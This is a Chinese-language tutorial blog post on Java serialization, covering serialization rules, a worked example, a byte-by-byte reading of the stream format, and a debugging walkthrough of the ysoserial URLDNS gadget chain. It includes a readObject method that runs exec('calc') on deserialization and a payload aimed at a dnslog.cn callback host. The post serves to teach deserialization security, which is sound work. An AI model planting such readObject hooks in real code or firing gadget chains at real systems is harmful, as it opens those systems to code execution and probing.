Java序列化与反序列化

发布于 2021-11-14  571 次阅读


0x00 什么是序列化与反序列化

把对象转换为字节序列的过程称为对象的序列化,序列化将数据分解成字节流,以便存储在文件中或在网络上传输。

把字节序列恢复为对象的过程称为对象的反序列化。

Java在序列化一个对象时,会调用对象的writeObject方法,参数类型为ObjectOutputStream,而反序列化时调用对象的readObject方法,参数类型也为ObjectOutputStream

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

0x01 序列化条件

  • 该类必须实现java.io.Serializable对象。
  • 若其父类没有实现java.io.Serializable,则必须存在一个无参构造方法。

  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是transient。

0x02 简单的示例

这个是父类Father,有一个私有属性name。这里要实现子类的序列化的话,要有一个无参的构造方法,否则会报错。

public class Father {
    private String name;

    public Father() {

    }

    public Father(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "name=" + name;
    }
}

这个是子类son,增加一个私有属性school,一个静态属性hobby,继承了父类Father,实现了接口Serializable

public class Son extends Father implements Serializable {
    private String school;
    public static String hobby = "study";

    public Son() {
        super();
    }

    public Son(String name, String school) {
        super(name);
        this.school = school;
    }

    @Override
    public String toString() {
        return super.toString() + ",school=" + school + ",hobby=" + hobby;
    }
}

以下为序列化与反序列化的测试代码,new一个Son类之后,进行输出,创建一个FileOutputStream对象,将其封装在一个ObjectOutputStream对象中,然后调用writeObject方法对son进行序列化,在进行反序列化之前,对子类Son的静态属性hobby进行修改,然后将一个FileInputStream对象封装在ObjectInputStream中,调用readObject反序列化,然后输出反序列化之后对象的内容。

public class SerializeMain {
    private static final String filePath = "./data";

    public static void main(String[] args) throws Exception {
        serializeAnimal();
        deserializeAnimal();
    }

    private static void serializeAnimal() throws Exception {
        Son son = new Son("So4ms", "SCU");
        System.out.println("=================序列化之前================");
        System.out.println(son.toString());
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filePath));
        oos.writeObject(son);
        oos.flush();
        oos.close();
    }

    private static void deserializeAnimal() throws Exception {
        Son.hobby = "sleep";
        System.out.println("=================序列化之后================");
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filePath));
        Son son = (Son)ois.readObject();
        ois.close();
        System.out.println(son);
    }
}

输出结果如下:

=================序列化之前================
name=So4ms,school=SCU,hobby=study
=================序列化之后================
name=null,school=SCU,hobby=sleep

可以看到其中namenullschool不变,hobby被修改为我们反序列化之前修改的值了。

因为这里序列化的对象的父类Father没有实现Serializable接口,反序列化时就调用了无参构造方法Father()name就没有被序列化,得到的结果就为null

而静态成员变量是不能被序列化, 反序列化后的hobby读取的是在JVM内存中存储的值。

0x03 序列化数据

使用 010 editor 打开之前保存序列化数据的文件data,内容如下。

image-20211106140047967

AC EDSTREAM_MAGIC,声明使用了序列化协议。

00 05是`STREAM_VERSION,序列化协议的版本。

73 72TC_OBJECT,声明这是一个新的对象。

00 03是类名长度,即Son的长度3。

53 6F 6E对应前面的长度3,是类名。

39 39 79 BE A8 B5 EC 66是序列号。

02是flag,表示可序列化。

00 01表示类的字段数个数,没有将静态成员变量计算在内。

4C表示TypeCodeL表示String类型。

00 06是字段长度,school长度为6。

73 63 68 6F 6F 6C是字段名,为school

74,标志位:TC_STRING,表示后面的数据是个字符串。

00 12,类名长度,18个字节。

4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3BLjava/lang/String;

78TC_ENDBLOCKDATA,对象的数据块描述的结束。

70TC_NULLNull object reference

74 00 03 53 43 55是对象属性的值。

0x04 可能存在的漏洞点

在PHP中,可能会因为在反序列化时触发的函数__wakeup__destruct中存在一些危险操作,就会导致漏洞的产生。

在Java中,反序列化时会触发readObject,在类中,readObject方法是可以自定义的,进行反序列化时会自动调用它,如果代码编写不当,就有可能导致漏洞的发生。

比如,我们在上面的Son中,增加一个readObject方法。

private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException {
    System.out.println("readObject");
    Runtime.getRuntime().exec("calc");
}

在反序列化后,可以看到输出了readObject,并且弹出了计算器。

image-20211106150215779

0x05 URLDNS 利用链

环境

项目地址:ysoserial

jdk版本:1.8(这里最好不要使用高版本,一些依赖包在高版本中没有,会产生报错)

调试分析

安装好ysoserial后,可以在Edit Configurations中修改调试信息,添加参数。

image-20211106225053306

找到ysoserial\src\main\java\ysoserial\payloads\URLDNS.java文件,在main函数的PayloadRunner.run(URLDNS.class, args);处打下断点,开始调试。

进入PayloadRunner.run(),这里的payloadURLDNS,调用了payload.getObject(command);,而参数command就是我们上面添加的参数http://hgs7jp.dnslog.cn

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
    // ensure payload generation doesn't throw an exception
    byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
        public byte[] call() throws Exception {
            final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();

            System.out.println("generating payload object(s) for command: '" + command + "'");

            ObjectPayload<?> payload = clazz.newInstance();
            final Object objBefore = payload.getObject(command);

            System.out.println("serializing payload");
            byte[] ser = Serializer.serialize(objBefore);
            Utils.releasePayload(payload, objBefore);
            return ser;
        }});

    try {
        System.out.println("deserializing payload");
        final Object objAfter = Deserializer.deserialize(serialized);
    } catch (Exception e) {
        e.printStackTrace();
    }

}

回到URLDNSgetObject方法,新建了几个对象,接着调用了ht.put(u, url);

public Object getObject(final String url) throws Exception {

    //Avoid DNS resolution during payload creation
    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();

    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

    return ht;
}

put方法如下,跟进hash(),传入参数的是url对象。

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

这里调用了url对象的hashcode方法。

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

跟进到url对象的hashcode方法,当hashCode值不为-1时,就会调用SilentURLStreamHandler类的hashCode方法

public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

再来看看URLStreamHandler类的hashCode方法,getHostAddress会发起一个DNS请求将域名解析成IP地址,于是就会有DNS记录。

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

在进行反序列化时,在readObject中,执行了putVal(hash(key), key, value, false, false);,之后与序列化时一样。

所以需要生成一个URLStreamHandler的对象,将其作为hashMapkey值,进行反序列化。

整个调用链如下:

HashMap.readObject() ->

HashMap.putVal() ->

HashMap.hash() ->

URL.hashcode() ->

URLStreamHandler.hashCode()

URLStreamHandler.getHostAddress() ->

InetAddress->getByName()

利用较简单,危害性较低,只存在一个DNS解析请求。

0x06 参考资料

java序列化与反序列化全讲解

[Java安全]Java序列化与反序列化

Maskhe/javasec

URLDNS利用链分析

JAVA反序列化之URLDNS链分析